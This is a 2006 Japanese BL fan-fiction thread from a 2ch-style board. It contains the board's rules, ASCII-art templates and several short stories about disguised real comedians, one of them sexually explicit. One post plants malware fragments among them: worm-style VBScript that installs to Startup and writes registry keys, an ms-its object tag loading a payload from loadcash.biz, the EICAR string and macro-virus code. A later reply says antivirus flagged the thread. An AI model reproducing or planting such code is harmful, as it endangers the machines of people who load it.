風と木の名無しさん<>sage<>2006/09/23(土) 03:32:37 ID:ZYUE1Oba0<> モララーの秘蔵している映像を鑑賞する場です。
なにしろモララーのコレクションなので何でもありに決まっています。


   |__[][][][]/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   | ̄ ̄ ̄|   すごいのが入ったんだけど‥‥みる?
   |[][][]__\______  ___________
   | ̄ ̄ ̄ ̄ ̄ ||  |      |/
    |[][][][][][][]//||  |  ∧_∧
   | ̄ ̄ ̄ ̄ ̄ ||  | ( ・∀・ ) _
   |[][][][][][][][]_|| / (    つ| |
    ̄ ̄ ̄ ̄ ̄ ̄    | | |  ̄
                    (__)_)


モララーのビデオ棚in801板19
http://sakura03.bbspink.com/test/read.cgi/801/1155489641/
 ローカルルールの説明、およびテンプレは>>2-7のあたり

保管サイト(お絵描き掲示板・うpろだ有)
http://moravideo.s57.xrea.com/ <>モララーのビデオ棚in801板20 風と木の名無しさん<>sage<>2006/09/23(土) 03:34:19 ID:ZYUE1Oba0<> 1.ノンジャンルの自作ネタ発表の場です
書き込むネタはノンジャンル。 801ネタであれば何でもあり。
たとえばこんなときにどうぞ。

  どこに投稿すればいいのかわからない‥‥
   ・ネタを作ってはみたが投稿すべき既存のスレが無い。
   ・投稿すべきスレがあるのかもしれないけど、よくわかんない。
   ・クロスオーバーのつもりなのだが各スレ住人にウザがられた。
   ・みんなの反応を見たうえでスレ立てるべきかどうか判断したい。

  投稿すべきスレはあるが‥‥
   ・キャラの設定を間違えて作ったので本スレに貼れない。
   ・種々の理由で、投稿すると本スレが荒れそう。
   ・本スレに貼る前にあらかじめ他人の反応を知って推敲したい。
   ・本スレは終了した。でも続編を自分で立てる気がない。

  ヘタレなので‥‥
   ・我ながらつまらないネタなので貼るのが躊躇われる。
   ・作り出してはみたものの途中で挫折した。誰か続きおながい!

迷ったときはこのスレに投稿してね。
ただ、本来投稿すべきと思うスレがある場合は
それがどのスレで(ヒントで充分)、しかしなぜこのスレに貼ったのか、
という簡単なコメントがあるとよい。無いとカオスすぎるからね。

ナマモノは伏せ字か当て字を推奨。
それ以外は該当スレのローカルルールに沿うか、自己判断で。 <> 風と木の名無しさん<>sage<>2006/09/23(土) 03:34:53 ID:ZYUE1Oba0<> 2.ネタ以外の書き込みは厳禁!
つまりこのスレの書き込みは全てがネタ。
ストーリー物であろうが一発ネタであろうが
一見退屈な感想レスに見えようが
コピペの練習・煽り・議論レスに見えようが、
それらは全てネタ。
ネタにマジレスはカコワルイぞ。
そしてネタ提供者にはできるだけ感謝しよう。

  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | ネタの体裁をとっていないラッシュフィルムは
  | いずれ僕が編集して1本のネタにするかもね!
  \                           | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄  | | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| . |
                               | | [][] PAUSE       | . |
                ∧_∧         | |                  | . |
          ┌┬―( ・∀・ )┐ ピッ      | |                  | . |
          | |,,  (    つ◇       | |                  | . |
          | ||―(_ ┐┐―||        |  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄   |
          | ||   (__)_), ||       |  °°   ∞   ≡ ≡   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/09/23(土) 03:35:28 ID:ZYUE1Oba0<> 3.ネタはネタ用テンプレで囲うのがベター。
別に義務ではないけどね。
とりあえず用意したテンプレ。

                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  モララーのビデオを見るモナ‥‥。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  きっと楽しんでもらえるよ。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

 ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ ヒトリデコソーリミルヨ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/09/23(土) 03:36:01 ID:ZYUE1Oba0<> 携帯用区切りAA

|>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!

中略

[][] PAUSE ピッ ◇⊂(・∀・;)チョット チュウダーン!

中略

□ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ! <> 風と木の名無しさん<>sage<>2006/09/23(土) 03:36:40 ID:ZYUE1Oba0<>  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | 僕のコレクションに含まれてるのは、ざっと挙げただけでも
 |
 | ・映画、Vシネマ、OVA、エロビデオとかの一般向けビデオ
 | ・僕が録画した(またはリアルタイムな)TV放送
 | ・裏モノ、盗撮などのおおっぴらに公開できない映像
 | ・個人が撮影した退屈な記録映像、単なるメモ
 | ・紙メディアからスキャニングによって電子化された画像
 | ・煽りや荒らしコピペのサンプル映像
 | ・意味不明、出所不明な映像の切れ端
 \___  _____________________
       |/
     ∧_∧
 _ ( ・∀・ )
 |l8|と     つ◎
  ̄ | | |
    (__)_)
       |\
 / ̄ ̄ ̄   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | 媒体も
 | 8mmフィルム、VCR、LD、ビデオCD、DVD、‥‥などなど
 | 古今東西のあらゆるメディアを網羅してるよ。
 \_________________________ <> 風と木の名無しさん<>sage<>2006/09/23(土) 03:37:33 ID:ZYUE1Oba0<>    |__[][][][]/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   | ̄ ̄ ̄|   じゃ、そろそろ楽しもうか。
   |[][][]__\______  _________
   | ̄ ̄ ̄ ̄ ̄ || |       |/
    |[][][][][][][]//|| |  ∧_∧
   | ̄ ̄ ̄ ̄ ̄ || | ( ・∀・ )
   |[][][][][][][][]_||/ (     )
    ̄ ̄ ̄ ̄ ̄ ̄   | | |
              (__)_) <> 風と木の名無しさん<>sage<>2006/09/23(土) 10:15:53 ID:mIeCJHqy0<> >>1さん乙です! <> 風と木の名無しさん<>sage<>2006/09/23(土) 11:23:10 ID:oGK93KOKO<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!ナマモノ注意!某義元ゲ仁ソ
ゲンマイ×テイオン

「あ、」
さっきまで起きているのか寝ているのかさえわからなかった多邑が、突然声を上げた。
一人読書に勤しんでいた俺はとうに奴の存在など忘れかけていたので、少しばかり驚かされた。
「なん、」
「つめ」
「爪?」
相手の意図が理解出来ず俺は本を置いて問い掛けた。
「爪が何よ」
「革嶋くん爪、伸び過ぎちゃう?」

そう言われて己の指を見てみれば、なるほど確かに伸びている。最近仕事が忙し過ぎて指など気にもかけていなかったのだ。
しかしそれが何だというのか。
「整えた方がええよ。折角綺麗な手なんやし」
そう言いながら自分の鞄を漁り出す多邑。
じゃーん、という声と共に探り当てたのは、爪を研ぐためのやすり。
「お前普段からそんなもん持ち歩いてんの」
「んー、まぁエチケットやな。なんや小汚ないと貧乏臭いやろ?」
見た目に寄らずこいつは几帳面だと思う。
というか過去の経験から、貧しく見られるという事を人並み以上に気にしている様だ。
多邑が差し出した手に右手をのせる。どうやら整えてくれるらしい。
<> 風と木の名無しさん<>sage<>2006/09/23(土) 11:28:20 ID:oGK93KOKO<> 「まぁお前が多少小綺麗にした所で、内面から滲み出る貧乏臭は拭い切れんけどな」
「ほっとけ!」
下らないやりとりをしている間にも俺の爪の一つ一つが整えられていく。
「出来た」
あっと言う間に両手の爪が均整の取れた形になった。
「ほんま器用貧乏やなぁ」
「貧乏は余計や!
…けど、ほんまきれーな手ぇしてんなぁ。…ちゅーしてもええ?」
「…お前変態やったっけ」
「変態やない!手フェチやねんて」
そう言いながら、俺の爪に唇を押し当てる。
「ほんま、綺麗」
褒められて嫌な気分はしないのだが、先ほどから指にだけ注がれる多邑の目線に心の奥がちりり、とざわついた。
この気持ちは何だろう、…そうだ、嫉妬?
自分の手に嫉妬するなんて話、聞いた事が無い。
ひどく馬鹿げていると思う反面、その正体に気付いてしまったからには、それを取り除かなければ気が済まない。
「お前は、俺の手だけが好きなんか?」
「は?何やそれ。手も、何もかんも全部ひっくるめて革嶋ん事好きやで?」
よくそんな恥ずかしい事が言えるものだと思う。けれど、これから俺が言う台詞に比べればそんなもの。
「やったら全部ひっくるめて好きな革嶋くんにはキスしたくない?」
「…」
そんなつぶら過ぎる目、どんだけ見開いても何も見えへんよ。
「なぁ。キス、して?」
「…了解」
何でもっと気の利いた言葉が言えないんだ、この玄米は。握られた指はそのまま、ゆっくり多邑の顔が近付いて来る。
そして先ほど爪に浴びせていた時よりも、少しだけ優しく口づけられた。
得体の知れない優越感の中
目を閉じた


<> 風と木の名無しさん<>sage<>2006/09/23(土) 11:30:59 ID:oGK93KOKO<> □ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ!

ゲロ甘過ぎて口から止めどなく砂がでそうです。
お粗末様でした! <> 風と木の名無しさん<>sage<>2006/09/23(土) 12:10:29 ID:k6O15zuc0<> Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub <> 風と木の名無しさん<>sage<>2006/09/23(土) 21:19:11 ID:Xg+aW3Jz0<> >>9
うおー萌えた!
ここに来るようになってから、ゲイニソ萌えになったよ!
開花させてくれた姐さん方にありがとうといいたい <> 風と木の名無しさん<>sage<>2006/09/24(日) 09:05:10 ID:Rqc8IkfEO<> 前スレ>>598
橙青に最近ハマったばかりなんで非常に萌えました! <> 風と木の名無しさん<>sage<>2006/09/24(日) 22:47:12 ID:wV8OIi4s0<> このスレ、ギコナビで見ようとしたらトロイの木馬が検出されたんだけど。 <> 風と木の名無しさん<>sage<>2006/09/24(日) 22:55:29 ID:FmC4Uw/E0<> >>15
ノートン入れたら2chに書きこめない人へ - いきいき Wiki
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12 <> 風と木の名無しさん<>sage<>2006/09/25(月) 00:58:23 ID:/JwdOVYH0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  ほのぼのに名前の似てる4コマのアレ
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  砂×主人公、最新刊から
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

<> 花鳥風月 1/2<>sage<>2006/09/25(月) 01:00:23 ID:/JwdOVYH0<> 視界に入っているのは、月と草だけ。
まるでこの世に、ボク一人だけのような感覚、
ココに連れてきてくれた彼は、まだ戻ってこない。
ボクは思う存分、ヒトリを楽しんでいる。
彼は言った。花鳥風月はヒトリになることだって。
ボクは上半身を起こして、周りを見渡す。
草が広がり、そこに彼の姿はない。
彼はボクをヒトリにするため、そして彼がヒトリになるために、
どこかに行ってしまっている。
それをわかっているのに、彼の姿を探してしまうのはなんでかな。
ヒトリになるとスッキリした気分になる。
でも、でもね。
同時に、心のどこかが変なんだ。
チリと心によぎるコレは何だろう。

隣に貴方がいないことを寂しいと思うボクは、
やっぱり、貴方の言うようにコドモなのかな。
<> 花鳥風月 2/2<>sage<>2006/09/25(月) 01:01:25 ID:/JwdOVYH0<> もう一度、草むらに寝そべって、月を見る。
今、貴方はボクと同じように月を見ているの?
それなら、とても嬉しくて、とても寂しい。
「そろそろ、帰るか。」
見上げると、彼がボクを見下ろしていた。
彼は、ボクの隣に腰を下ろすと、ボクと同じように月を見る。
「面白かったか?」
「うん。」
今日、色々と教えてもらった。
花も鳥も風も月も移り変わること、ヒトリになると気分がスッキリすることもあるってこと。
でも、ボクは思うんだ。
貴方と、色んな所を巡って、それを見たことが、貴方に、色んなことを教えてもらったことが、
きっと、とても楽しかったんだって。
・・・なんて言ったら、また「コドモにはわからないか」って言うかな?
「ボクはやっぱり、一緒に見るほうがいいな。」
「そうか。」
「ボクがコドモだから、そう思うのかな?」
「誰かといたいって思うのは、コドモだけじゃあないだろう。」
貴方はいつも、そうやってボクの質問に答えてくれるよね。
ボクは彼の首に腕を伸ばす
「コドモ扱いしないで。」
これは、ココに来る前に貴方に言ったのと、同じ言葉。でも・・・

彼は、相変わらず、驚いた顔もせずに、いつもの顔で、いつもの声で
「・・・してないさ。」

ボクと彼の距離が縮まる。

あのね、ヒトリで見た月も好きだけど、
貴方と一緒に見た月のほうがボクは好きだと思うんだ。
貴方の肩越しに見た月は、きっと忘れられないと思うんだ。 <> 風と木の名無しさん<>sage<>2006/09/25(月) 01:02:56 ID:/JwdOVYH0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ イジョー
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄


<> 風と木の名無しさん<>sage<>2006/09/25(月) 08:32:21 ID:0uN10x190<> >20
も、萌え……!(*´д`) ぼのかわいいよぼの。
朝から良いものを読ませて頂きました、GJ! <> 風と木の名無しさん<>sage<>2006/09/25(月) 16:34:19 ID:QkoZt0IO0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  再び某芸/人さん達のつもりで書いてみたんだけど…
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄| キャラを捏造してごめんなさい 
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ しかもエロ無し…
 | |                | |     ピッ   (´∀` )(・∀・; )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
<> 風と木の名無しさん<>sage<>2006/09/25(月) 16:35:16 ID:QkoZt0IO0<> 寒い。
ベッドから起き上がった。
今日は特に出掛ける予定も無いのだが、外の様子が気になる。
毛布を身体に巻いて、開き戸まで歩いた。
歩いたといっても、一歩か二歩なのだが。
閉められたカーテンを少し開けた。
「あ、雪降ってる」
「…まじで?」
寝起きだからだろう、くぐもった声で、
さっきまで自分の隣に寝ていた人は言った。
そして、身体を無理に起こして開き戸の方を見ている。
カーテンを、さーっと開けた。外は真っ白で。
「あー、本当だ。12月だな」
そう適当な感想を洩らして、その人は身体を横に戻した。
布団を身体に巻き直す仕草が、何だかかわいく見える。
良い物見たな、とひとりで笑ってベッドに腰を下ろした。 <> 2/2<>sage<>2006/09/25(月) 16:36:20 ID:QkoZt0IO0<> 隣の人は目が覚めてしまったのか、ぼーっとした顔で此方を見ている。
「今何時?」
「5時」
「んな時間に起こすなよ…葬式してえのか…」
「ごめん」
本当はひとかけらもごめんなんて思っちゃいないが、一応謝った。
「いいよ…別に」
機嫌を損ねたか、と思ったがそうでもなかった。
「雪か、寒い訳だ」
「寒いの?」
「寒い」
隣の人は頭まで布団に包まって、まるくなった。
球体を揺すりながら言った。
「もう起きない」
「バカ、こんな時間から起きて何すんだ」
「一人で起きてても、暇だし。そうだ、じゃ、一緒に寝よ」
そう言って、隣の人のシーツと布団の間に滑り込む。
「おい、狭いだろ」
「寒いなら、暖めてあげるから」
「…バーカ」 <> 風と木の名無しさん<>sage<>2006/09/25(月) 16:37:08 ID:QkoZt0IO0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ 名前欄書き忘れてすいませんでした…
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> 1<>sage<>2006/09/26(火) 13:00:08 ID:t2l4mbCL0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  解散ゲ仁ソネタを思いついて書いたら、ひどい別人になったので、
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|   サイトじゃなくてこちらをお借りします。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 暗いのダメな人はスルーヨロ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 2<>sage<>2006/09/26(火) 13:00:35 ID:t2l4mbCL0<> 俺の背中を、後輩が見ているのには、気づいていた。
しばらく迷った後、俺は振り返った。
「…なぁ、何で俺のこと、じっと見おんの?」
目の前にいる後輩は、びっくりした目で俺を見る。
そしてようやく、自分が俺を凝視していることに気づいたのか、目を伏せて、
何かごにょごにょと言い出した。言い訳しているらしい。
その様子に、ドロドロした、マグマのような激情が、俺を内から蝕んだ。
「…欲情でもしてんの?」
声を出すと、自分でも驚くぐらい低い声が出た。
「いや…そんなわけじゃ…」
「別にかまんで。この業界多いし」
「そんなんじゃないですって…」
「ええよ。もしお前がその気なら、別に手伝ったったってかまへんし」
俺の言葉に、カァッと後輩の顔が赤くなって、その気だと分かった。
俺が座ったまま一歩にじりよると、後輩は本能的に二歩下がった。
「逃げてもええで? もしアレやったら、そこらへんの廊下にいる芸人やスタッフに、
 俺がホモで、襲われそうになったって言いふらしてもええし」
囁くように言う俺の胸では、消せない炎がチリチリと俺自身を燃やしていた。
これが、何に対する怒りの炎なのか、俺はよく知っている。 <> 3<>sage<>2006/09/26(火) 13:01:47 ID:t2l4mbCL0<> 後輩は、動揺したように何か言おうとしていたが、もう一歩俺がにじりよって手を伸ばすと、
しばらく迷った後、俺の手を握った。
「そんなこと…しませんて…。それに……俺、本当にあなたのこと憧れてて…」
今日出会ったばかりの新人。まだ目がキラキラしている。
会った瞬間、『昔テレビで見て、俺に憧れてた』『俺が好き』と、恥も臆面もなく言い切った
あたりから、俺もおさえきれなくなっていたのかもしれない。
―――この男の目にある、俺への真剣な思いを、全て汚い光に変えてやりたい。
「こんなん遊びや。次の収録までの暇つぶしやで。気楽にしてええで」
俺の低い声に傷ついた目をした男は、それでも俺の手を引っ張った。
俺は、自分よりも一回りも二回りも大きい後輩の胸に抱きしめられながら、目をつぶった。
何もかもボロボロにしてほしい。
後輩が、憧れたらしい、昔の俺の像を。
こんなローカルのテレビ局ではなく、全国区のゴールデン番組に出て、一世を風靡していた俺の像を。
あの頃の俺達を知っている、全ての人の記憶にある、その像を。
ボロボロにして地に落としてほしかった。
そして、その隣にいた相方の像も、一緒に消し去りたかった。
そんなどうしようもない思いを、今日はこの後輩で解消するだけ。それだけ。
首筋に噛み付かれて、俺は「跡はつけんで」と囁いた。
控え室。次の収録まで、1時間の空き時間。シャワールームはある。部屋に鍵はかかってる。
後輩の中の俺をボロボロにするには、十分な時間。
精一杯、俺を軽蔑してもらえるように、俺はみだらな声をあげて、後輩の背に腕をまわした。 <> 4<>sage<>2006/09/26(火) 13:02:31 ID:t2l4mbCL0<>

お前の人生の絶頂期はいつ? という質問を、最近よく考える。
俺はこれからや、って答えたいけれど、他人は3年前と言うだろう。
3年前。誰もが俺達を知っていた。
アイドル並にキャーキャー言われて、毎日眠れないぐらい仕事が入っていた。
その中でも、俺達は、人気に甘んじていなかったという自信がある。
芸人として、ネタは忘れたことなかった。新しいネタをガンガン作って、ライブやテレビで
披露した。トップではなかったけれども、それでもあの時、俺達の前を走っていた先輩の背中は、
確かに見えていた自信があった。それだけの実力もあったと思う。
しかしそれは、ある日俺の目の前から全て消えてしまった。
芸人ブームが終わったからだ。
ネタ番組は片っ端から消えて、俺達のネタを発表する場面は無くなった。
結果、俺達は、温泉番組のリポーターとか、そんなくだらないことばかりする羽目になった。
相方が、それに対して不満を覚えているのも分かっていた。
相方は、中学から一緒にやってきた人間だった。
わがままで、気まぐれで、何にも執着しない人間で…。
しかし、お笑いの才能だけはピカ一で、天才だった。
俺は、アイツの才能に心底惚れていた。
それで俺は、テレビ局の人間に求められたら、体を売ることも厭わなくなった。
少しでも、アイツのネタを発表する機会があるならば、自分の体を切り売りするぐらい、
何でもなかった。
相方の才能を、少しでも世に出したかった。 <> 5<>sage<>2006/09/26(火) 13:03:35 ID:t2l4mbCL0<> しかし結果は、それが原因で、事務所のお偉いさんと相方がケンカしたため、それが契機に
なり、コンビは解散。相方は、あっさりとお笑いを辞めてしまった。
しかも、「もう業界には二度と戻ってこない」という言葉付。
俺が、必死で止めようが何しようが、振り向きもしなかった。
そして、惰性のままこの業界にしがみついている俺は、それから今まで、グルグルと
同じところを回っている。
あの時、相方に、俺が体で仕事とってるなんてばらした人間がいなければ。
あの時、熱なんて出して、寝込んでいなければ。
あの時、あのお偉いさんとの会議に、一緒にいっていれば。
あの時、事情を聞いた後で、相方を殴ったりしなければ。
それなら、あいつにあんなに見下した目で見られなかったかもしれない。
俺は、俺のことを壊したいなんて思わずに済んだかもしれない。

―――最低や。

ああ、最低や。悪かったな。 <> 6<>sage<>2006/09/26(火) 13:04:48 ID:t2l4mbCL0<> 輩の腰の動きが早くなってきたことに気づき、俺は、考えていたことを打ち切った。
「ちょ…中はやめてや…」
息遣い荒い後輩の顔を見ないようにして、そう言うと、耳たぶを噛まれた。
先輩の言うことには返事しろや、とちょっと思ったが、こんなマヌケな格好で突っ込まれて、
先輩も後輩も無いだろうな、と思い直す。
「本当に憧れてて…。こんなんでも、ほんま嬉しいです…」
ガクガクとゆさぶられている中、後輩がうわごとのように囁く。
「そんなんちゃうよ…」
俺は、冷めた声にならないように気をつけながら、目をつぶる。
あぁ絶頂が来る。
そう思った瞬間に、中に熱いものが放たれた。
あぁ、中で出すなって言うたのに。そう思いながら、俺は目をつぶった。
萎えたものを引き抜くと、後輩は手近にあったティッシュで、自分のものを拭った。
俺は、消耗した体力をかき集めて、何とか動けるようになるまでの間、ただぼんやりと、
その仕草を目で追っていた。
引き抜いた後の俺に、目もくれない後輩が、今まで寝てきた何人もの顔にダブる。 <> 7<>sage<>2006/09/26(火) 13:05:29 ID:t2l4mbCL0<> 「……あの…」
俺が見ているのに気づいたのか、それとも出してスッキリして余裕ができたのか。
後輩が、顔をあげて、俺の体に触れようとした。
それを俺は、かき集めた体力で、フラフラになりながらも立ち上がることで、拒絶した。
「お前、中に出すなって言うたのに…」
ティッシュでおざなりに拭って、下着をつけずに服を着る。
この後は、何食わぬ顔でトイレに行き、その後シャワールームにかけこんで…。
と考えながら、時間を確認する。まだ時間はあるから、体も洗えるな。
「その、先輩、すみません、俺、そんな軽い気持ちじゃなくて、本当にあなたのこと」
後輩が何かを勘違いしたらしく、何かせっぱつまった声を出しているようなので、
俺は振り返った。
「そんな迷惑な思いは、俺にぶつけられても困るから、一人でオナニーでも
 して、満足しといてくれる?」
自分の出した冷めた声に、俺は満足した。
後輩の熱を帯びた目が、急速に冷えていくのが見えて、俺は満足して、部屋を出た。
俺の胸の奥で俺を蝕んでいた激情も、シュルシュルと収まっていくような気がした。
廊下に出ると、静かで冷たい空気が広がっていた。 <> 8<>sage<>2006/09/26(火) 13:10:53 ID:t2l4mbCL0<> ―――最低や。
ふいに、何度も頭の中で繰り返される相方の声が、頭に響いた。
ほうや、最低や。だから、壊そうと頑張ってるやん。
俺は、胸のうちでそう呟いて、歩き出した。
―――最低や。
中に出された液が、太ももを伝うのを感じて、また俺の頭の中に、その言葉が響いた。
最低や。分かってるって言うてるやん。
それとも、もっと最低にならんと、許してくれへんの。あと何すればええんや。
どうしたら、お前は…
頭の中で、どうしようもないことをグルグル考えていたら、ふと自分がどこにいるか
分からなくなってしまった。
俺は立ち止まって、長い廊下の先に広がる暗闇を、ぼんやりと眺めていた。
しびれたような腰の痛みだけが、現実を伴っていた。 <> 9/9<>sage<>2006/09/26(火) 13:12:57 ID:t2l4mbCL0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ お目汚しスマソ。
 | |                | |     ピッ   (・∀・ ) でも後悔はしていない。
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
